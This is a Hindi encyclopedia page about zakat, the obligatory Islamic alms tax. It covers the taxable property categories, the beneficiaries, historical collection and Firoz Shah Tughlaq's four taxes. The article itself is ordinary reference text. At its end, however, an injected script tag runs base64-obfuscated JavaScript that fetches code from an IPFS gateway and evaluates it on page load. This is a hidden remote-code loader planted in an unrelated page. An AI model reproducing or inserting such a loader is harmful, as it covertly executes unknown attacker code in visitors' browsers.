ज़कात

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

ज़कात अरबी भाषा का शब्द है। मुस्लिमों द्वारा देय एक अनिवार्य कर, इस्लाम के पांच स्तंभों में से एक।

  • ज़कात संपत्ति की पांच निम्नलिखित श्रेणियों पर लगाया जाता है-
  1. खाद्यान्न
  2. फल
  3. ऊंट, मवेशी, भेड़े-बकरियाँ
  4. सोना-चांदी
  5. चल संपत्ति
  • यह कर एक वर्ष के स्वामित्व के बाद प्रतिवर्ष देय होता है। धार्मिक क़ानून के हिसाब से आवश्यक कराधान वर्ग के अनुसार यह परिवर्तनीय है।
  • ज़कात से लाभान्वित होने वालों में ग़रीब और ज़रूरतमंद, इसके संग्राहक और ‘वे जिनके दिलों पर मरहम लगाना आवश्यक है’- उदाहरणार्थ, असंतुष्ट कुटुंबी, कर्ज़दार, जिहादी[1] और तीर्थयात्री शामिल हैं।
  • ख़िलाफ़त के तहत ज़कात का संग्रहण और व्यय राज्य का कार्य था, लेकिन धर्म निरपेक्ष कराधान के बढ़ने के साथ ज़कात को नियंत्रित और संपूर्णत: संग्रहीत करना उत्तरोत्तर कठिन होता गया।
  • सऊदी अरब जैसे देशों को छोडकर, जहां शरीयत[2] का सख्ती से पालन होता है, आधुनिक इस्लामी विश्व में इसे व्यक्ति विशेष पर छोड़ दिया गया है।
  • क़ुरान और 'हदीस'[3] सदक़ा अथवा स्वैच्छिक दान पर भी बल देते हैं, जो ज़कात की ही तरह ज़रुरतमंदों के लिए होता है।
  • तुग़लक़ वंश के शासक फ़िरोज़शाह तुग़लक़ ने राजस्व व्यवस्था के अन्तर्गत अपने शासन काल में 24 कष्टदायक करों को समाप्त कर दिया था। उसने केवल 4 कर- ‘ख़राज’[4], ‘खुम्स’[5], ‘जज़िया’, एवं 'ज़कात'[6] को वसूल करने का आदेश दिया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. धर्मयोद्धा
  2. इस्लामी क़ानून
  3. मुहम्मद साहब के वचन
  4. लगान
  5. युद्ध में लूट का माल
  6. इस्लाम धर्म के अनुसार अढ़ाई प्रतिशत का दान, जो उन लोगों को देना पड़ता था, जो मालदार थे और उन लोगों को दिया जाता है, जो अपाहिज या असहाय और साधनहीन हों

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>